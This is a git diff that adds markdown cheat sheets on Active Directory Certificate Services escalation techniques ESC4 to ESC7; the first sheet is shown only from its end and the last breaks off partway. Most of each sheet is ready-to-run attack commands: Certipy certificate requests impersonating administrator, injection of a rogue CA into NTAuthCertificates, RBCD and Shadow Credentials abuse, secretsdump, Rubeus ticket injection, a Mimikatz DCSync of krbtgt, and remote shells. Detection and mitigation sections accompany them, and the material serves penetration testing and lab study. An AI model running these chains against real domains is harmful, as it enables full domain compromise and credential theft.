`WriteProperty` — need to take ownership first | Use `Set-DomainObjectOwner -Identity VulnTemplate -OwnerIdentity lowpriv` first, then give yourself `GenericAll` | +| `Successfully updated` but template doesn't show ESC1 | AD replication delay | Wait 30–60 seconds, re-enumerate | +| `Certificate has no object SID` | Expected behaviour post-mutation | Proceed — auth will still work | +| `KDC_ERR_PADATA_TYPE_NOSUPP` on auth | PKINIT not supported on that DC | Try specifying another DC with `-dc-ip` | + +*** + +## ESC4 vs ESC1–3 Comparison + +| | ESC1 | ESC2 | ESC3 | ESC4 | +|---|---|---|---|---| +| **Attack type** | Template config abuse | Template config abuse | Template config abuse | **Template permission abuse** | +| **What you abuse** | SAN flag | Any Purpose EKU | CRA EKU | Write ACE on template object | +| **Pre-existing vuln** | ✅ Template already misconfigured | ✅ Already misconfigured | ✅ Already misconfigured | ❌ **You create the misconfiguration** | +| **Restoration needed** | ❌ | ❌ | ❌ | ✅ Strongly recommended | +| **BloodHound visible** | Via `Enrollment Rights` | Via `Enrollment Rights` | Via `Enrollment Rights` | ✅ **Via ACE edges on template node** | +| **Certipy command** | `req -upn` | `req -upn` | `req -on-behalf-of` | **`template` → `req -upn` → `template restore`** | + +*** + +## Detection Indicators + +- **Event ID 4899** — A certificate template was changed +- Look for rapid sequences of: **4899 (template changed)** → **4886 (cert requested)** → **4887 (cert issued)** → **4899 (template changed back)** — the classic ESC4 pattern +- Monitor AD attribute changes on `pKICertificateTemplate` objects — specifically `msPKI-Certificate-Name-Flag`, `pKIExtendedKeyUsage`, `msPKI-Enrollment-Flag` +- Alert on any non-admin principal modifying certificate template AD objects + +*** + +## Mitigation + +- **Audit template DACLs regularly** — `Domain Users`, `Authenticated Users`, or any non-admin group should never have `WriteProperty`, `WriteDACL`, `WriteOwner`, or `GenericAll` on a template object +- **Use the principle of least privilege** — only PKI admins should have write rights over templates +- **Monitor with BloodHound** — run BloodHound regularly and check for edges to certificate template nodes from low-priv principals +- **Enable AD auditing** on the `CN=Certificate Templates` container — changes should fire **Event ID 4899** which is auditable + +*** + +Sources + AD CS 102: How to Detect and Mitigate ESC4 Attacks on… | BeyondTrust https://www.beyondtrust.com/blog/entry/esc4-attacks + AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/ + Detecting ADCS Privilege Escalation: How Misconfigured ... https://hawk-eye.io/2025/09/detecting-adcs-privilege-escalation-how-misconfigured-certificates-expose-active-directory/ + How one misconfiguration in ADCS can lead to full AD Forest compromise https://m365internals.com/2022/11/07/how-one-misconfiguration-in-adcs-can-lead-to-full-ad-forest-compromise/ + Active Directory Certificate Services (ADCS – ESC4) - RBT Security https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc4/ + An Expert Guide to Fortifying Active Directory Certificate ... https://www.nccgroup.com/research-blog/defending-your-directory-an-expert-guide-to-fortifying-active-directory-certificate-services-adcs-against-exploitation/ + ADCS ESC4: Vulnerable Certificate Template Access Control https://www.hackingarticles.in/adcs-esc4-vulnerable-certificate-template-access-control/ + redblock_team-11.-ADCS-Attacks.pdf https://ppl-ai-file-upload.s3.amazonaws.com/web/direct-files/attachments/14624338/ba26726a-dc39-49bb-a7f4-de582faee79b/redblock_team-11.-ADCS-Attacks.pdf + Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt2/ + ADCS ESC4: Vulnerable Certificate Template Access Control https://www.facebook.com/cybersna/posts/a-critical-adcs-esc4-vulnerability-allows-attackers-with-control-permissions-to-/1002681098728664/ + ESC4 - Access Control Vulnerabilities | B00t2R00t - GitBook https://h3ll-ka1ser.gitbook.io/boot2root/active-directory-penetration-testing/active-directory-certificate-services-adcs/mindmaps/access-control-vulnerabilities-esc4 + Penetration Test Client Version 10 released 26 February 2023 Page ... https://www.coursehero.com/file/p7rd5udu/Penetration-Test-Client-Version-10-released-26-February-2023-Page-19-Figure-8/ + ADCS ESC4: Certificate Authentication Failure Fix - LinkedIn https://www.linkedin.com/posts/osher-jacobs_activedirectory-certificateservices-adcs-activity-7421147456517611520-S8KP + Active Directory Certificate Services (AD CS) Exploitation - VOIDREAD https://voidread.pages.dev/posts/ad-cs-abuses/ + The Shocking Truth About ADCS Templates Nobody Tells You [ESC4] https://www.youtube.com/watch?v=pgA0zP2n0Ok diff --git a/src/content/sheets/active-directory/esc5-vulnerable-pki-object-access-control.md b/src/content/sheets/active-directory/esc5-vulnerable-pki-object-access-control.md @@ -0,0 +1,227 @@ +--- +title: "ESC5 — Vulnerable PKI Object Access Control" +description: "ESC5 is a broad category of permission-level attacks against the various Active Directory objects that comprise the PKI infrastructure. Unlike ESC4 which…" +category: active-directory +tags: ["active-directory", "adcs", "pivoting"] +tools: ["Impacket", "Certipy", "BloodHound", "OpenSSL", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC5 — Vulnerable PKI Object Access Control.md" +--- +# ESC5 — Vulnerable PKI Object Access Control + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | AD Object Permission Abuse | +| **Difficulty** | Medium–High | +| **Pre-requisites** | Write/ownership ACE on PKI AD objects | +| **Tools** | Certipy, BloodHound, PowerView, Impacket | +| **OPSEC Noise** | Medium — AD object modifications generate directory change events | +| **One-liner** | Abuse write permissions on PKI infrastructure AD objects to enable other ESC attack paths or inject a rogue CA. | + +*** + +## What Is ESC5? + +ESC5 is a **broad category of permission-level attacks** against the various Active Directory objects that comprise the PKI infrastructure. Unlike ESC4 which targets a single certificate template object, ESC5 targets the **containers and objects that hold the entire ADCS ecosystem together**. These objects live in the `Configuration` naming context — meaning they replicate **forest-wide**. Compromising them can affect every domain in a multi-domain forest. + +The key insight: ADCS doesn't exist in a vacuum — its security depends on the ACLs of multiple AD objects. If any one of them has overly permissive DACLs, an attacker can pivot into template abuse (ESC1–4), CA control (ESC6–7), or direct domain compromise. + +*** + +## The Vulnerable PKI Objects + +All these objects live under `CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com`: + +| Object | Path | What Control Over It Gets You | +|--------|------|-------------------------------| +| **CA Server AD Computer Object** | `CN=Computers` (or its OU) | RBCD / Shadow Credentials → local admin on CA → Golden Certificate | +| **CA Server's DCOM/RPC Interface** | Network access to CA | Direct cert request/approval capability | +| **NTAuthCertificates** | `CN=NTAuth,CN=Public Key Services,...` | Inject a rogue CA → forge any certificate trusted for domain auth | +| **Certificate Templates Container** | `CN=Certificate Templates,...` | Create/modify templates → introduce ESC1–4 vulns | +| **Enrollment Services Container** | `CN=Enrollment Services,...` | Control which templates are published, modify CA behaviour | +| **OID Container** | `CN=OID,...` | Manipulate issuance policy OIDs (relevant to ESC13) | + +*** + +## Attack Path 1 — Rogue CA via NTAuthCertificates + +This is the **most devastating ESC5 path**. If you can write to the `NTAuthCertificates` object, you can inject your own CA certificate and forge trusted authentication certs offline — similar in impact to a Golden Certificate but without needing CA server access. + +### Step 1 — Check ACLs on NTAuthCertificates + +```bash +# Using Certipy +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -stdout + +# Using PowerView +Get-DomainObjectAcl -SearchBase \ + "CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb" \ + -ResolveGUIDs | Where-Object { + $_.ObjectAceType -match 'Write' -or $_.ActiveDirectoryRights -match 'GenericAll|WriteDACL|WriteOwner' + } +``` + +### Step 2 — Generate a Rogue CA Certificate + +```bash +# Generate a self-signed CA cert +openssl req -x509 -newkey rsa:4096 -keyout rogue-ca.key -out rogue-ca.crt \ + -days 3650 -nodes -subj "/CN=Rogue-CA" + +# Convert to PFX +openssl pkcs12 -export -out rogue-ca.pfx -inkey rogue-ca.key -in rogue-ca.crt -passout pass: +``` + +### Step 3 — Inject Rogue CA into NTAuthCertificates + +```powershell +# PowerShell — add the rogue CA to NTAuthCertificates +certutil -dspublish -f rogue-ca.crt NTAuthCA + +# Or via LDAP modification +$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new("rogue-ca.crt") +$NTAuth = "CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb" +Set-ADObject $NTAuth -Add @{cACertificate=$cert.RawData} +``` + +### Step 4 — Forge Certificates Signed by the Rogue CA + +```bash +# Use certipy forge with your rogue CA key +certipy-ad forge \ + -ca-pfx rogue-ca.pfx \ + -upn 'administrator@domain.htb' \ + -subject 'CN=Administrator,CN=Users,DC=domain,DC=htb' + +# Authenticate +certipy-ad auth \ + -pfx administrator_forged.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET +``` + +*** + +## Attack Path 2 — RBCD/Shadow Credentials on CA Computer Object + +If you have `GenericWrite` or `GenericAll` over the CA server's **computer object in AD**, you can perform Resource-Based Constrained Delegation (RBCD) or Shadow Credentials to gain local admin on the CA server, then extract the CA private key (Golden Certificate path). + +```bash +# Shadow Credentials on CA computer object +certipy-ad shadow auto \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -target 'CA-SERVER$' + +# Or RBCD +impacket-rbcd \ + 'domain.htb/lowpriv:Password123!' \ + -delegate-to 'CA-SERVER$' \ + -delegate-from 'EVILPC$' \ + -dc-ip $TARGET \ + -action write + +# Then S4U2Self/S4U2Proxy to get service ticket +impacket-getST \ + 'domain.htb/EVILPC$:EvilPass!' \ + -spn 'cifs/CA-SERVER.domain.htb' \ + -impersonate administrator \ + -dc-ip $TARGET + +# Use the ticket to access CA server +export KRB5CCNAME=administrator@cifs_CA-SERVER.domain.htb@DOMAIN.HTB.ccache +secretsdump.py -k -no-pass CA-SERVER.domain.htb + +# Then → certipy backup → Golden Certificate +``` + +*** + +## Attack Path 3 — Certificate Templates Container Write + +If you have write access to the `CN=Certificate Templates` container itself (not just a single template), you can **create entirely new templates** with ESC1-vulnerable settings. + +```powershell +# Check ACL on the container +Get-DomainObjectAcl -SearchBase \ + "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=htb" \ + -ResolveGUIDs | Where-Object { + $_.ActiveDirectoryRights -match 'CreateChild|GenericAll|WriteDACL' + } +``` + +*** + +## Enumeration + +```bash +# Certipy will surface some ESC5 paths +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# BloodHound is superior for ESC5 — it maps ACE edges to PKI objects +# Look for edges: GenericAll, GenericWrite, WriteDACL, WriteOwner, Owns +# FROM: low-priv principals +# TO: CA computer objects, NTAuthCertificates, Certificate Templates container +``` + +### BloodHound Cypher Queries + +```cypher +// Find principals with dangerous rights over PKI objects +MATCH (n)-[r:GenericAll|GenericWrite|WriteDACL|WriteOwner|Owns]->(m) +WHERE m.name =~ '.*CERTIFICATE.*|.*NTAUTH.*|.*ENROLLMENT.*|.*CA.*' +RETURN n.name, type(r), m.name + +// Find principals with write access to NTAuthCertificates +MATCH (n)-[r]->(m {name: 'NTAUTHCERTIFICATES@DOMAIN.HTB'}) +WHERE type(r) IN ['GenericAll', 'GenericWrite', 'WriteDACL', 'WriteOwner'] +RETURN n.name, type(r) +``` + +*** + +## OPSEC Considerations + +| Action | Log Generated | Noise Level | +|--------|--------------|-------------| +| Querying PKI object ACLs | LDAP query — low noise | 🟢 Low | +| Modifying NTAuthCertificates | Directory Service Changes (5136) | 🔴 High | +| RBCD write on CA computer | Directory Service Changes (5136) | 🔴 High | +| Creating new certificate template | Directory Service Changes (5136/5137) | 🔴 High | + +*** + +## ESC5 vs ESC4 + +| | ESC4 | ESC5 | +|---|---|---| +| **Target** | Single certificate template object | Multiple PKI infrastructure objects | +| **Scope** | Template-level | Forest-wide (Configuration NC) | +| **End goal** | Mutate template → ESC1 | Enable ESC1–4, inject rogue CA, or Golden Cert path | +| **BloodHound visibility** | Template ACE edges | PKI container/object ACE edges | + +*** + +## Detection Indicators + +- **Event ID 5136/5137** — Directory Service object modifications in the `CN=Public Key Services` container +- **Event ID 4742** — Computer account changed (if RBCD path used against CA computer) +- **NTAuthCertificates monitoring** — Alert on ANY modification to the `cACertificate` attribute +- **BloodHound** — Dangerous ACE edges from non-admin principals to PKI objects + +*** + +## Mitigation + +- **Audit PKI object DACLs** — Only `Enterprise Admins` and `Domain Admins` should have write access to objects under `CN=Public Key Services` +- **Protect the CA computer object** — Treat it as Tier 0; remove `GenericWrite`/`GenericAll` from any non-admin principal +- **Monitor NTAuthCertificates** — Any change should trigger an immediate security alert +- **Lock down the Certificate Templates container** — Only PKI admins should be able to create or modify templates +- **Enable AD DS auditing** on the Configuration partition to catch modifications diff --git a/src/content/sheets/active-directory/esc6-editf-attributesubjectaltname2-flag.md b/src/content/sheets/active-directory/esc6-editf-attributesubjectaltname2-flag.md @@ -0,0 +1,333 @@ +--- +title: "ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 Flag" +description: "certutil -config \"CA-SERVER\\DOMAIN-CA\" -getreg policy\\EditFlags" +category: active-directory +tags: ["active-directory", "adcs"] +tools: ["Impacket", "Mimikatz", "Rubeus", "Certipy", "BloodHound"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 Flag.md" +--- +# ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 Flag + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | CA-Level Misconfiguration | +| **Difficulty** | Low (pre-patch) / Blocked (post-patch) | +| **Pre-requisites** | `EDITF_ATTRIBUTESUBJECTALTNAME2` flag enabled on CA | +| **Tools** | Certipy, Certify.exe, certutil | +| **OPSEC Noise** | Low — standard cert request | +| **One-liner** | CA-level flag that allows user-specified SANs on ANY template, bypassing template-level restrictions. Largely patched by KB5014754. | + +*** + +### Quick Check for EDITF Flag + +```bash +# From Windows +certutil -config "CA-SERVER\DOMAIN-CA" -getreg policy\EditFlags +# Look for EDITF_ATTRIBUTESUBJECTALTNAME2 in the output + +# From Linux (via certipy) +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -stdout | grep -i 'user specified san' +``` + +*** + +## What Is ESC6? + +ESC6 is a **CA-level misconfiguration**, not a template-level one. This is a critical distinction from ESC1–4. With ESC1 you needed a template that had `ENROLLEE_SUPPLIES_SUBJECT` set. With ESC6, **that flag on the template doesn't matter at all** — because the CA itself has been told to accept a user-specified SAN on *any* certificate request, regardless of what the template says. + +The flag responsible is `EDITF_ATTRIBUTESUBJECTALTNAME2`, stored in the CA's registry at `HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy`. When this flag is set, **every single template with Client Authentication EKU that low-priv users can enroll in becomes an ESC1 vector** — including the default built-in `User` template. + +Think of it like this: ESC1 is a misconfigured door. ESC6 is the master key that opens every door in the building simultaneously. + +*** + +## ⚠️ Critical Note — Patched After May 2022 + +Microsoft released a patch in **May 2022** (KB5014754) that broke the default exploit path for ESC6. After this patch, even if `EDITF_ATTRIBUTESUBJECTALTNAME2` is set, the CA **enforces strong certificate mapping** and will reject certificates where the SAN doesn't match the requester's actual identity for Kerberos authentication. + +| Environment State | ESC6 Exploitable? | +|---|---| +| Unpatched / pre-May 2022 | ✅ Full ESC6 as described | +| Patched but `StrongCertificateBindingEnforcement = 0` | ✅ Still works | +| Patched but `StrongCertificateBindingEnforcement = 1` (default post-patch) | ⚠️ Partially blocked — Kerberos auth may fail | +| Patched and `StrongCertificateBindingEnforcement = 2` (enforced) | ❌ Blocked | +| ESC16 present (Security Extension disabled) | ✅ ESC6-like attack still works via UPN swap — as seen in your Fluffy box | + +> 💡 This is exactly why your Fluffy box showed `ESC16` — the security extension was disabled, which in modern environments is the **post-patch equivalent of ESC6**. The two are closely related in concept and exploit path. + +*** + +## Required Conditions + +| Condition | Where to Check | +|-----------|----------------| +| `EDITF_ATTRIBUTESUBJECTALTNAME2` flag set on CA | CA output: `User Specified SAN: Enabled` | +| `Request Disposition: Issue` (no manual approval) | CA output: `Request Disposition: Issue` | +| At least one template with Client Auth EKU enrollable by low-priv users | Any template with `Client Authentication: True` + `Enrollment Rights: Domain Users` | + +*** + +## Step 0 — Enumeration + +```bash +# Standard scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# With hash +certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \ + -dc-ip $TARGET -vulnerable -stdout +``` + +### What Vulnerable ESC6 Output Looks Like + +The vulnerability shows up at the **CA level**, not the template level: + +``` +Certificate Authorities + 0 + CA Name : DOMAIN-CA + DNS Name : DC01.domain.htb + Certificate Subject : CN=DOMAIN-CA, DC=domain, DC=htb + Web Enrollment : Enabled + User Specified SAN : Enabled ← THE key flag + Request Disposition : Issue ← No manual approval + Enforce Encryption for Requests : Disabled + Permissions + Access Rights + ManageCa : DOMAIN\Domain Admins + ManageCertificates: DOMAIN\Domain Admins + Enroll : DOMAIN\Authenticated Users + + [!] Vulnerabilities + ESC6 : Enrollees can specify SAN and Request Disposition is set to Issue. + Does not work after May 2022 +``` + +> 💡 Certipy explicitly warns `Does not work after May 2022` in the output. Don't ignore this — check the registry value before investing time in the attack. + +*** + +## Checking the Registry (if you have access) + +```bash +# From Linux via Impacket +reg.py 'domain/administrator:Password123!'@$TARGET query \ + -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\DOMAIN-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' + +# Look for: +# EditFlags REG_DWORD 0x00014... +# Bit 0x00040000 = EDITF_ATTRIBUTESUBJECTALTNAME2 = flag is SET +``` + +```powershell +# From Windows on the CA server +reg query "HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy" + +# Also check patch status +reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v StrongCertificateBindingEnforcement +# 0x0 = not enforced (ESC6 works) +# 0x1 = partial enforcement (may work) +# 0x2 = fully enforced (blocked) +``` + +*** + +## Full Attack Chain — Linux (Certipy) + +ESC6's exploit is **identical to ESC1** in commands — the difference is you don't need a specially misconfigured template. Any template with Client Auth works, including the built-in `User` template. + +### Step 1 — Request cert with injected SAN against ANY auth-capable template + +```bash +# Using the built-in User template — almost always available +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'User' \ + -upn 'administrator@domain.htb' + +# Output: administrator.pfx + +# If User template doesn't work, try Machine, or any other +# Client Auth template visible in certipy output +certipy-ad req \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -template 'Machine' \ + -upn 'administrator@domain.htb' +``` + +**Expected output:** +``` +[*] Requesting certificate via RPC +[*] Successfully requested certificate +[*] Request ID is 22 +[*] Got certificate with UPN 'administrator@domain.htb' +[*] Certificate has no object SID +[*] Saving certificate and private key to 'administrator.pfx' +``` + +*** + +### Step 2 — Authenticate + +```bash +certipy-ad auth \ + -pfx administrator.pfx \ + -username administrator \ + -domain domain.htb \ + -dc-ip $TARGET + +# Output: administrator.ccache + NT hash +``` + +*** + +### Step 3 — Shell + +```bash +# Kerberos TGT +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.domain.htb +evil-winrm -i DC01.domain.htb -r domain.htb + +# Pass-the-Hash +evil-winrm -i $TARGET -u administrator -H <NTHASH> +psexec.py administrator@$TARGET -hashes :NTHASH +``` + +*** + +## Full Attack Chain — Windows (Certify.exe + Rubeus) + +```powershell +# Step 1: Request cert using any Client Auth template +.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:User /altname:administrator +# Copy cert.pem, convert: +openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx +# Leave password blank + +# Step 2: Get TGT + NT hash +.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /getcredentials /nowrap + +# Step 3: Inject and use +.\Rubeus.exe createnetonly /program:powershell.exe /show +.\Rubeus.exe ptt /ticket:<base64ticket> +Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"' +``` + +*** + +## How to SET the Flag (Red Team / Lab Setup) + +If you have CA admin rights and want to demonstrate the vulnerability in a lab: + +```powershell +# On the CA server — SET the flag +certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 +net stop certsvc && net start certsvc + +# To UNSET (remediation) +certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 +net stop certsvc && net start certsvc +``` + +*** + +## ESC6 vs ESC1 — Key Differences + +| | ESC1 | ESC6 | +|---|---|---| +| **Where misconfiguration lives** | Certificate Template | **Certificate Authority** | +| **Flag responsible** | `ENROLLEE_SUPPLIES_SUBJECT` on template | `EDITF_ATTRIBUTESUBJECTALTNAME2` on CA | +| **Templates affected** | Only the specific misconfigured template | **Every** Client Auth template on that CA | +| **Requires specific template** | ✅ Must find the ESC1 template | ❌ Any Client Auth template works | +| **Post-May 2022 patch** | Still works (template-level) | ⚠️ May be blocked | +| **Certipy `-upn` flag** | ✅ Same | ✅ Same | +| **Modern equivalent** | — | **ESC16** (Security Extension disabled) | + +*** + +## ESC6 → ESC16 Connection (Relevant to Your Fluffy Box) + +Your Fluffy box had `ESC16: Security Extension is disabled`. This is the **post-patch spiritual successor to ESC6**. The exploit path is almost identical — but instead of relying on the CA accepting a user-specified SAN at enrollment time, you: + +1. Find an account you have `GenericWrite` over (e.g., `ca_svc`) +2. **Modify that account's UPN** to match the target (e.g., `administrator`) +3. Request a cert from **any Client Auth template** using that account +4. **Restore the UPN** immediately after +5. Authenticate — the cert was issued with `UPN: administrator` embedded + +```bash +# What you did on Fluffy — ESC16 chain +certipy-ad account -u winrm_svc@fluffy.htb -hashes ... \ + -user ca_svc -upn administrator update # 1. Swap UPN + +certipy-ad req -u ca_svc -hashes ... \ + -ca fluffy-DC01-CA -template User # 2. Request cert + +certipy-ad account -u winrm_svc@fluffy.htb -hashes ... \ + -user ca_svc -upn ca_svc@fluffy.htb update # 3. Restore UPN + +certipy-ad auth -pfx administrator.pfx \ + -u administrator -domain fluffy.htb -dc-ip $TARGET # 4. Auth +``` + +This is covered fully in the ESC16 section later in the series. + +*** + +## Detection Indicators + +- **Certipy / Certify output:** `User Specified SAN: Enabled` in CA section +- **Registry:** `EDITF_ATTRIBUTESUBJECTALTNAME2` bit set in `EditFlags` value +- **Event ID 4887** — Certificate issued where Subject differs from requester +- **Microsoft Defender for Identity** — Has a built-in detection for `ESC6` flagged as "Edit vulnerable Certificate Authority setting" + +*** + +## Mitigation + +- **Unset the flag** immediately on any CA where it is enabled: + ```powershell + certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 + net stop certsvc && net start certsvc + ``` +- **Enforce strong certificate binding** — set `StrongCertificateBindingEnforcement = 2` in the KDC registry key after ensuring all certificates have been re-issued with objectSID extensions +- **Apply KB5014754** if not already patched — this forces the DC to require the objectSID extension in certificates for Kerberos auth +- **Audit CA configuration regularly** — include CA-level flags in your ADCS security reviews, not just template-level settings + +*** + +## OPSEC Considerations + +| Action | Log Generated | Noise Level | +|--------|--------------|-------------| +| Certipy enumeration | LDAP queries | 🟢 Low | +| certutil flag check | Event ID 4688 (process creation) | 🟢 Low | +| Certificate request | Event ID 4886/4887 | 🟢 Low | + +> 💡 ESC6 is low noise because it uses standard enrollment. However, post-patch, it produces warning events when the KDC detects a SAN that doesn't match the requester. + +Sources + Active Directory Certificate Attack (ADCS – ESC6) - RBT Security https://www.rbtsec.com/blog/active-directory-certificate-attack-adcs-esc6/ + ESC6 - Pentest Everything - GitBook https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc6 + Common ADCS Vulnerabilities: Logging, Exploitation ... - Lares Labs https://labs.lares.com/adcs-exploits-investigations-pt2/ + Certificates - Microsoft Defender for Identity https://learn.microsoft.com/en-us/defender-for-identity/security-posture-assessments/certificates + ADCS Attack Paths in BloodHound — Part 3 - Blog - SpecterOps https://posts.specterops.io/adcs-attack-paths-in-bloodhound-part-3-33efb00856ac + 06 ‐ Privilege Escalation · ly4k/Certipy Wiki - GitHub https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation + AD CS Security: Understanding and Exploiting ESC Techniques https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/ + Attacking AD CS ESC Vulnerabilities Using Metasploit https://rapid7.github.io/metasploit-framework/docs/pentesting/active-directory/ad-certificates/attacking-ad-cs-esc-vulnerabilities.html + AD CS Misconfigurations - Structured https://structured.com/blog/ad-cs-misconfigurations/ + Certificate templates | The Hacker Recipes https://www.thehacker.recipes/ad/movement/adcs/certificate-templates diff --git a/src/content/sheets/active-directory/esc7-vulnerable-ca-access-control-manageca-managecertificates.md b/src/content/sheets/active-directory/esc7-vulnerable-ca-access-control-manageca-managecertificates.md @@ -0,0 +1,445 @@ +--- +title: "ESC7 — Vulnerable CA Access Control (ManageCA ManageCertificates)" +description: "ESC7 is a CA-level access control attack. Where ESC4 abused write permissions on a template object, ESC7 abuses dangerous permissions on the Certificate…" +category: active-directory +tags: ["active-directory", "adcs"] +tools: ["Rubeus", "Certipy", "BloodHound", "Metasploit", "Evil-WinRM"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/ESC7 — Vulnerable CA Access Control (ManageCA ManageCertificates).md" +--- +# ESC7 — Vulnerable CA Access Control (ManageCA / ManageCertificates) + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | CA-Level Permission Abuse | +| **Difficulty** | Medium–High | +| **Pre-requisites** | ManageCA or ManageCertificates rights on CA object | +| **Tools** | Certipy, Certify.exe, PSPKI | +| **OPSEC Noise** | High — officer promotion, template enabling, request approval | +| **One-liner** | Use ManageCA/ManageCertificates rights to add yourself as an officer, enable the SubCA template, then approve your own pending certificate request. | + +*** + +## What Is ESC7? + +ESC7 is a **CA-level access control attack**. Where ESC4 abused write permissions on a *template object*, ESC7 abuses dangerous permissions on the **Certificate Authority itself**. Two specific rights are exploited: + +- **`ManageCA`** — Administrative control over the CA. Lets you change CA-wide settings, enable templates, modify policy flags (like `EDITF_ATTRIBUTESUBJECTALTNAME2` from ESC6), and add new CA officers +- **`ManageCertificates`** — Lets you approve, deny, and issue **pending certificate requests** — effectively bypassing manager approval on any template + +ESC7 typically manifests in **two distinct attack paths** depending on which permission you hold: + +| Path | Permission Held | Method | +|------|----------------|---------| +| **Path A** | `ManageCA` only | Use it to grant yourself `ManageCertificates`, then follow Path B | +| **Path B** | Both `ManageCA` + `ManageCertificates` | Enable `SubCA` template → Request cert (gets denied) → Issue it yourself → Authenticate | + +> 💡 In practice, having `ManageCA` is almost always enough — you use it to elevate yourself to `ManageCertificates`, making Path A just a one-step bootstrap into Path B. + +*** + +## Required Conditions + +| Condition | Where to Check | +|-----------|----------------| +| Low-priv principal holds `ManageCA` or `ManageCertificates` on the CA | CA output: `ManageCa` or `ManageCertificates` Access Rights | +| `SubCA` template exists (built-in, almost always present) | Template enumeration output | +| `Request Disposition: Issue` OR ability to approve pending requests | CA configuration | + +*** + +## Step 0 — Enumeration + +```bash +# Standard scan +certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \ + -dc-ip $TARGET -vulnerable -stdout + +# With hash +certipy-ad find -u 'lowpriv@domain.htb' -hashes :NTHASH \ + -dc-ip $TARGET -vulnerable -stdout +``` + +### What Vulnerable ESC7 Output Looks Like + +The vulnerability appears at the **CA level**, not template level: + +``` +Certificate Authorities + 0 + CA Name : DOMAIN-CA + DNS Name : DC01.domain.htb + Permissions + Owner : DOMAIN\Administrators + Access Rights + ManageCa : DOMAIN\Domain Admins + DOMAIN\Enterprise Admins + DOMAIN\lowpriv ← ⚠️ DANGEROUS + ManageCertificates: DOMAIN\Domain Admins + DOMAIN\Enterprise Admins + DOMAIN\lowpriv ← ⚠️ DANGEROUS + Enroll : DOMAIN\Authenticated Users + + [!] Vulnerabilities + ESC7 : 'DOMAIN\lowpriv' has dangerous permissions +``` + +*** + +## Full Attack Chain — Linux (Certipy) — Path A+B Combined + +This is the **most common real-world scenario** — you have `ManageCA` and use it to bootstrap `ManageCertificates`, then exploit. + +*** + +### Step 1 — Add Yourself as a Certificate Officer (ManageCA → ManageCertificates) + +```bash +# Grant your account the ManageCertificates right using your ManageCA privilege +certipy-ad ca \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -add-officer lowpriv + +# With hash +certipy-ad ca \ + -u 'lowpriv@domain.htb' \ + -hashes :NTHASH \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -add-officer lowpriv +``` + +**Expected output:** +``` +[*] Successfully added officer 'lowpriv' on 'DOMAIN-CA-NAME' +``` + +*** + +### Step 2 — Enable the SubCA Template + +The `SubCA` template is a built-in template that has `ENROLLEE_SUPPLIES_SUBJECT` and no EKU restrictions — it is essentially a blank-cheque certificate template. It is disabled by default but can be enabled with `ManageCA`: + +```bash +certipy-ad ca \ + -u 'lowpriv@domain.htb' \ + -p 'Password123!' \ + -dc-ip $TARGET \ + -ca 'DOMAIN-CA-NAME' \ + -enable-template SubCA +``` + +**Expected output:** +``` +[*] Successfully enabled 